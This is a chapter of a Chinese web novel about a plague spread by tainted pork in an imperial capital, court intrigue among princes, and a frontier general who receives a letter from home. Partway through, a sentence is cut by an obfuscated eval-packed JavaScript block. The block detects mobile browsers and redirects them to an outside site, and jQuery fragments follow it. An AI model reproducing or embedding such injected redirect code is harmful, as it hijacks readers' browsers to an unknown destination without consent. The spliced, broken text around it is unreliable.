西市最东头的孙记肉铺这几日生意格外红火。


    “新到的山猪肉，便宜卖了！”孙老三用油腻的抹布擦了擦案板，将一块泛着青灰色暗斑的猪头肉扔上秤盘。


    那肉在晨光下泛着诡异的油光，筋膜间隐约可见细小的黑色血丝。


    几个早起来买肉的主妇围在摊前，其中一位想伸手戳戳肉块，却被拦了下来。


    孙老三陪笑道：“姨，你这碰了可就要买啊。”


    “这肉块颜色怎的这般怪？”


    “山里头猎的野猪，血放得慢些。”孙老三咧嘴一笑，说着抄起砍刀，“您闻闻，可半点腥气味都没有。”


    几位主妇左看看右看看，最终架不住价钱便宜，各人要了小半块。


    孙老三利落地将肉切成条状，溅起的肉渣和暗血溅在案板边缘。


    三日后，城中仁济堂的学徒发现来抓风寒药的人突然间多了起来。本以为是入秋后正常现象，可药堂里的药竟有一日贡不过来了。


    “怪事啊，”老大夫捋着胡须嘟囔，“这几日尽是发热呕吐的。”话音未落，后院突然传来学徒的惊叫。


    刚送来的隔壁书生丁小子突然口吐黑血，将地上染的斑斑点点的。


    茶楼的说书人也察觉到一样，往日座无虚席的午后场，如今只剩三两个熟客，跑堂的小二拎着茶壶低声道：“先生，听说西市死了七个了，不知是为何......”


    话还没说完，小二猛地咳嗽起来，茶壶里的茶汤咕噜摇晃。


    瘟疫如野火般蔓延开来。


    起初只是西市的几条巷子，很快便如潮水般涌向全城。


    城南的贫民窟最先遭殃，低矮的茅草屋里，一家老小接连倒下，尸体来不及收敛，城隍庙也堆不下了，就那么横在榻上，直到腐臭弥漫整条街巷。


    城北的富贵人家起初还紧闭门户，直到看门的家丁开始咳嗽吐血，主人们才惊觉疫病早已蔓开。


    街市上再也听不到叫卖声，取而代之的是此起彼伏的哀嚎。药铺的门槛被求医的人踏破，老大夫们束手无策，只能眼睁睁看着病人在面前断气。有些绝望的百姓开始求神拜佛，香火铺子的存货被抢购一空，烟雾终日笼罩着街巷，却驱不散死亡的阴影。


    衙役们戴着浸过醋的面巾，挨家挨户搜查病患。一旦发现有人发热，立刻用草绳将整户人家封门。


    被隔离后就断了水和食物，不论是感染者还是未感染者，一概不能外出，这就意味直接给这个家庭定了死刑。


    城外的乱葬岗很快堆满了尸体，抬尸的人不敢靠近，只能用长竿将尸体挑进坑里。野狗在附近徘徊，眼睛在夜色中泛着绿光。


    偶尔仍有饿极的流民偷吃死猪肉，第二天就会加入尸堆的行列。


    这场灾难终是惊动了皇宫。


    早朝时分，大臣们罕见地戴上了面巾，谢钦的指尖在龙纹扶手上轻轻叩击，殿内弥散的艾草烟味与原本的沉木香混在一起，甚是诡异。


    “陛下，”京兆尹许阳伏跪在地，官袍后背已是一片汗渍额，“东宫已封锁，太医正在...”


    “东宫？”谢钦的声音不疾不徐，却让满殿烛火都为之一颤，“太子何在？”


    殿门轰然洞开，十五岁的太子谢珣一袭素袍踏入，腰间水玉更显青贵，少年面色如常，唯有袖口隐约可见刚处理过血的痕迹。


    “儿臣已儿臣已命人焚毁昨日膳食，接触过厨娘的所有人员皆隔离于西偏殿。”他行礼的姿势依旧端正，“太医判断说，此疫通过血肉传播，不触不染。”


    谢钦眼底闪过一丝赞许，目光扫过殿中神色各异的大臣。


    首列的谢钧连眉头都没动一下，身后的任元白正偷偷用帕子擦汗，一旁的王昌迁也显得异常淡定。


    “钧儿，”谢钦忽然开口，“你怎么看？”


    谢钧行礼：“儿臣认为，当立即诛杀病患，焚尸灭源。非常之时，当行非常之法。”


    谢珣轻笑一声：“二哥可知如今病患已过万人？”随后递出一卷竹简，“这是儿臣整理的疫源线索，所有病患，都吃过西市孙记的肉。”


    谢钧的瞳孔终于几不可察地一缩。


    “可有去过西市？”谢钦的声音依旧平静。


    “跑了。”谢珣展开竹简最后一节，“但儿臣查到，他每月初六都会去西郊的一处猪场。”


    谢钧的指节在袖下微微发白，他没想到这谢珣居然真能查到西郊猪场。


    “钧儿，”谢钦起身，“你带禁军去好好查查这猪场。”


    谢钧单膝跪地时，无人察觉到他嘴角勾起的一抹冷笑。


    “臣，领旨。”


    散朝的钟声还未散尽，谢珣便已闯进了乾雍宫。


    “父皇！”他连礼都没行全，“儿臣以为，那谢钧就是罪魁祸首，您为何还要将查案之权交到他手中？”


    谢钧已在批阅奏折：“珣儿，不可无礼。”


    “父皇！”谢珣急步上前，从袖中取出早已藏好的账册，“这是儿臣安插在军需司的人抄录的，谢钧这半年以来以军营采买之名，暗中购入军械与食量，这是何等居心！父皇！”


    谢钦终于搁笔，这个情况任元白早已私下传递过。


    “你当朕不知？”


    谢珣刹时僵住。


    “那您还...”


    谢钦动身离座：“珣儿，你觉得朕若派你去查，或是旁人去查，有几人能活着回来？”


    谢珣袖中的手微微发颤，想起三日前暴毙的暗探，正是自己派去查军需账目之人。


    “儿臣...儿臣明白了，”他声音发涩，“可长安城的百姓怎么办，如今死伤无数，难道还要任由他作乱下去吗？”


    闻言，谢钦深吸口气，低语道：“但愿这是你下的最后一步棋...”


    “传旨。”谢钦突然提高声音，殿外的和三匆忙溜进来，“即日起，太子代朕寻访各坊病患。”转而对谢珣说，“朕的暗卫会扮作太医随行，一切注意。”


    谢珣对上父皇深渊般的眼睛，郑重地点了点头：“儿臣明白。”随后便离开了乾雍殿。


    谢钦望着他渐渐远去的背影，五指渐渐合拢...


    他袖中还有一封未拆的密报，那是今早刚从北疆送来的。


    不知衔星如今可好...


    狂风卷着沙粒子，似细针般刮过营帐，谢衔星站在瞭望台上，面上的铁面罩压得鼻梁生疼，总让他想起初到北疆那日的荒唐场景。


    那日夕阳西


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16048675|172818||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    沉，他赶了两天两夜的路，风尘仆仆赶到军营时，连水都没来得及喝一口，就被此起彼伏的哄笑淹没。


    “喲，这是哪家的小公子走错了地儿？”一个满脸络腮胡的校尉故意捏着嗓子，引得周围将士哄堂大笑。


    谢衔星并未理睬，只是从染血的衣襟深处取出半块虎符。


    青铜在暮色中泛着冷光，上面还沾着父亲遇刺时的血迹。


    “此后，我便是驻疆大总管。”他的声音不大，却让所有人瞬间噤声，“北疆一切事务，由我掌管。”


    众人愣神的功夫，他已经大步走向中军帐。身后不知谁嘀咕了句“小白脸凭什么”，谢衔星突然转身，腰间佩剑"铮"地出鞘三寸。


    剑刃上映出的那双眼睛，冷得像淬了冰。


    没人看清他是怎么出的手，只听见令人牙酸的骨裂声，谢衔星踩在对方肩胛骨上，绣着暗纹的靴底缓缓碾磨，像在碾一只蝼蚁。


    “再有下次，便剥了你这身皮，”他抬眸扫过众人，轻笑一声，“既然听令，为何还不跪下？”


    看着眼前场景，众将领面面相觑，有的已经跪下，副将王猛猛地大喊：“小白脸，接得住爷爷三招，老子就认你这个主将！”


    谢衔星站在点将台上，俊美的面容在月光下宛如玉雕，剑眉星目，鼻若悬胆。


    但这副面容在这群人眼中，只换得了刺耳的嘲笑。


    “请。”


    王猛的大刀劈来时，谢衔星侧身一让，刀锋擦过额边，可他却不知痛般。


    第二招横扫千军，却见他足尖轻点，整个人如鹞子翻身掠到王猛身后。


    第三招还没出手，王猛的手腕已被铁钳般扣住。


    “咔嚓！”


    腕骨碎裂的声音让全场死寂，谢衔星松开手：“现在，我是你们的主将。”声音不重，却让所有人脊背发寒。


    当夜，他的案头就多了副玄铁面罩。


    如今那副将还躺在医帐里哼哼，腕骨被捏碎的声音，至今仍是军中茶余饭后的谈资。


    “将军！”亲兵顶着风爬上台阶，递上一封火漆迷信，“皇城来的。”


    他离京后，百骑司便全权由萧长庭接管，他只跟萧长庭交代了若是有十分急切的事情再传信过来。


    谢衔星的手微微发僵，却在看见内容后猛地收紧。


    信纸在掌心皱成了一团。


    谢衔星！


    京中突发疫病，东西南北中坊市皆已被封。


    防备即使，我们都好，姨母身体也康健。


    只是楚玥本在皇城养病，不知从何处听到了消息，拖着还未痊愈的伤就要去疫区，我与稚鱼轮番拦她，可怎么也拦不住，情急之下，反倒扯到了她左臂的伤口才暂时劝下。


    我觉得她这性子倒跟你像得很，认准的事九头牛都拉不回。


    只是再折腾下去，伤势反复，怕还没染上疫病，就落了病根。


    前日她醒后，我便将你留下的信给了她。她竟看哭了，转而就开始积极喝药，好的也快了些。


    我与稚鱼一致认为大概是因为你写的原因，想来你的笔墨比我们嘴皮子还要厉害些。


    可否再写一封替我们劝劝她。


    长庭和稚鱼一同。